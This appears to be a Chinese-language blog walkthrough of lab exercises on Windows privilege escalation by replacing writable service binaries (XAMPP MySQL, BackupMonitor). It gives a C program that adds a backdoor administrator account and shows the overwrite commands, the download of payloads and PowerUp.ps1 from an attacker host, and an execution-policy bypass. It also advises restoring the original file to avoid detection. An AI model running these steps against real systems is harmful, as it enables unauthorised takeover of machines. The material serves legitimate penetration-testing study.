替換 Windows 服務程式提權

替換 Windows 服務程式提權


Windows 服務使用 LocalSystem (Token 中包含 NT AUTHORITY\SYSTEM & BUILTIN\Administrators的 SID )、 Network Service、Local Service、User Account 來運行自己的服務。




查看啟動的服務若有 GUI 介面可以直接透過如上圖的方式查看,若僅有 PowerShell 的 UI 可以透過以下不同指令來查找服務,第一種 Get-Service




第二種指令,僅查看 Running 中的服務 Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}



上述指令在互動式登入會被拒絕,但透過 RDP 再開啟 PowerShell 後即可正常執行



目標 :

現有登入機器的使用者為 dave 為一般使用者,我們將透過提權的方式最後查看 daveadmin 使用者桌面的檔案取得 flag


第三方套件都是值得關注的,尤其看到 XAMPP 這種套件,所以以下兩個是很值得注意

Apache & MySQL,這是因為安裝在 C:\xampp\~ 底下而不是其他系統預設的目錄

所以當時安裝的帳號給予了很大的權限

Name                          State   PathName

----                          -----   --------

Apache2.4                     Running "C:\xampp\apache\bin\httpd.exe" -k runservice

mysql                         Running C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini mysql


接下來使用 icacls or Get-ACL 來查看權限,但首先要先了解權限表的意思如下

MASKPERMISSIONS
FFull access
MModify access
RXRead and execute access
RRead-only access
WWrite-only access



輸入 icacls "C:\xampp\apache\bin\httpd.exe" 查看服務啟動的權限

現有登入的使用者屬於 BUILTIN\Users 權限僅有 (RX),意即讀與執行

所以現有帳號沒有寫與修改的權限,故無法替換該檔案成我們要的東西





接著看看 MySQL 的權限,一樣輸入 icacls "C:\xampp\mysql\bin\mysqld.exe"

看來中獎了,BUILTIN\Users 權限有 (F),完全控制的權限





順道一提,也可以使用 Get-Acl -Path "C:\xampp\mysql\bin\mysqld.exe" | Format-list 查看

直接顯示 BUILTIN\Users 的權限是 FullControl




接下來讓我們直接來編寫一個新的 mysql.exe 檔案吧,將使用 C 程式碼建立一個名為 dave2的用戶,並使用system 函數將該用戶新增至本機管理員群組如下,檔案命名為 adduser.c

=====================================================================

#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user dave2 password123! /add");
  i = system ("net localgroup administrators dave2 /add");
  
  return 0;
}

=====================================================================




接下來要將程式碼進行編譯(compiled )成可以在 64 位元 Windows 系統上執行的 exe 檔案

指令 : └─$ x86_64-w64-mingw32-gcc adduser.c -o adduser.exe





一樣先透過 iwr 下載該檔案 iwr -uri http://192.168.45.228/adduser.exe -Outfile adduser.exe




接著把我們預計替換的 mysql.exe 先備份一下,目的是完成後記得要覆蓋回去避免被發現

指令 : move C:\xampp\mysql\bin\mysqld.exe mysqld.exe




再來就是把 adduser.exe 換成 mysql.exe,指令 : move .\adduser.exe C:\xampp\mysql\bin\mysqld.exe




大功告成,接下來就是要重新啟動 MySQL 服務,指令 net stop mysql,結果 GG 沒有權限




先檢查一下該服務是不是機器啟動時會自動帶起,可以使用以下的指令查看

Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'},看來是一個開機自動帶起的服務




接著讓我們透過 whoami /priv 查看相關 SeShutDownPrivilege 開關機的權限




將機器重開吧,指令 shutdown /r /t 0,重開後如果一切順利應該會自動執行 mysql.exe

然後建立使用者 dave2,接著再將該使用者加入到本機的 administrators 群組

重開候登入並 Get-LocalGroupMember administrators 查看看,看來一切順利



Run AS 用 dave2 / password123! 即可順利拿取 flag



最後的工作記得將原有的 mysql.exe 替換回去然後再重新開機一次恢復原狀



其他工具介紹,前面我們是用 icacls 指令一個一個查看針對每個服務的權限

kali 內建有一個 PowerUp.ps1 檔案

路徑為 /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1

一樣先 COPY 到 HTTP 80 Server,指令 cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 .




一樣透過 iwr 下載到 Windows 目標主機

iwr -uri http://192.168.45.228/PowerUp.ps1 -Outfile PowerUp.ps1



接著要先使用 ExecutionPolicy Bypass 啟動 powershell 否則無法運行腳本,因為預設被阻止

指令 : powershell -ep bypass

接著導入 PowerUp.ps1,指令. .\PowerUp.ps1,然後可以下指令 Get-ModifiableServiceFile 就會直接顯示目前的一般使用者帳號 dave 有權限可以修改的檔案一覽 




其他檔案幾乎都在 Windows 內建的資料夾底下,最後面一樣有顯示 mysql.exe

甚至還有告訴我們是否有權限可以重啟該服務






練習 

使用一般使用者帳號為 Milena 的身分 RDP 連線到靶機,密碼為 MyBirthDayIsInJuly1!

尋找 Milena 可以取代服務二進位檔案的服務

作為運行該服務的用戶獲取互動式 shell,並在桌面上找到 flag

靶機 IP : 192.168.227.221


第一步 RDP 進去,廢話不多說先把剛剛做好的 adduser.exe 與 PowerUp.ps1 下載過去

iwr -uri http://192.168.45.228/adduser.exe -Outfile adduser.exe

iwr -uri http://192.168.45.228/PowerUp.ps1 -Outfile PowerUp.ps1





然後執行 powershell -ep bypass 導入 PowerUp.ps1,指令 . .\PowerUp.ps1

然後輸入 Get-ModifiableServiceFile 看看甚麼檔案可以改

看來第一個服務 BackupMonitor.exe 就能用且還有權限可以重新啟動服務

該服務是 roy 建立的




開始按表操課,先備份

move C:\BackupMonitor\BackupMonitor.exe BackupMonitor.exe

然後替換檔案

move .\adduser.exe C:\BackupMonitor\BackupMonitor.exe

重新開機輸入 Get-LocalGroupMember administrators,成功了




Run AS 拿 roy 桌面的 flag 吧





留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(1)